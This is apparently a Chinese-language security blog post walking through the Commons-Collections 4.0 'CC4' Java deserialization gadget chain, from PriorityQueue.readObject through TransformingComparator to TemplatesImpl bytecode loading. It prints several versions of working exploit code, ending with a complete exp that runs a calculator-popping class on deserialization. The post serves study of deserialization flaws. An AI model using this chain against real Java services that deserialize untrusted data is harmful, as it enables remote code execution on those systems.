cc4调用链

环境配置:

  • Commons-Collections 4.0
  • jdk8u65

maven中导入坐标:

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4调用链分析:

cc4这条依赖了commons-collections4而不再是以前的3.2.1版本:

查找transform方法,查找到了一个类的compare方法,调用了transform方法。

image-20240331142148733

该类TransformingComparator是可以序列化的,并且这个compare方法在很多地方都会用到:

image-20240331142318693

我们在网上查询谁调用了这个compare方法,由于调用该方法的类很多,最终找到了一个原生的java类PriorityQueue优先队列,并且该类是可以实现序列化的。

readObejct方法中调用heapify方法—>siftDown—>siftDownUsingComparator—>compare方法。

image-20240331142813630

调试看哪里没有运行成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
// 然后调用它的newTransformer()方法
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};

ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

SerializeUtil.serialize(priorityQueue);
SerializeUtil.unSerialize();
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

点击heapify方法,该方法是对size进行运算,可以看成是/2

image-20240331144452238

size默认值为0:

image-20240331144558334

因此我们要让他走进siftDown,就是要让i的结果大于0才可以,那么可以推断出size的值需要>=2,可以直接使用反射修改字段值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
// 然后调用它的newTransformer()方法
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};

ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
Field sizeFiled = priorityQueueClass.getDeclaredField("size");
sizeFiled.setAccessible(true);
sizeFiled.set(priorityQueue,2);

SerializeUtil.serialize(priorityQueue);
SerializeUtil.unSerialize();
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

看别的师傅是调用add对size进行赋值,并且不算调用TemplatesImplnewTransformer方法,而调用外部的TrAXFilter的构造方法,间接去调用这个newTransformer方法,应该这才是正确的调用链。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

还没序列化的时候就已经弹出计算器了,这是为什么呢?这是因为add会调用siftUpUsingComparator方法,而这个方法内部会调用comparator.compare方法。

image-20240331151046191

这和前面cc3的逻辑一样,我们要在调用这个comparator.compare不走我们的调用链。因此在序列化之前不进行赋值。即传入一个没有的transformers,add之后在修改回去。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static void exp2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);

// 传入一个没有用的transformers
TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer<>());
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

// add后修改回去
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformingComparatorClassDeclaredField = transformingComparatorClass.getDeclaredField("transformer");
transformingComparatorClassDeclaredField.setAccessible(true);
transformingComparatorClassDeclaredField.set(transformingComparator, chainedTransformer);
SerializeUtil.serialize(priorityQueue);
SerializeUtil.unSerialize();
}

cc4调用链
https://pow1e.github.io/2024/05/28/漏洞中间件复现/cc链/cc4调用链/
作者
pow1e
发布于
2024年5月28日
许可协议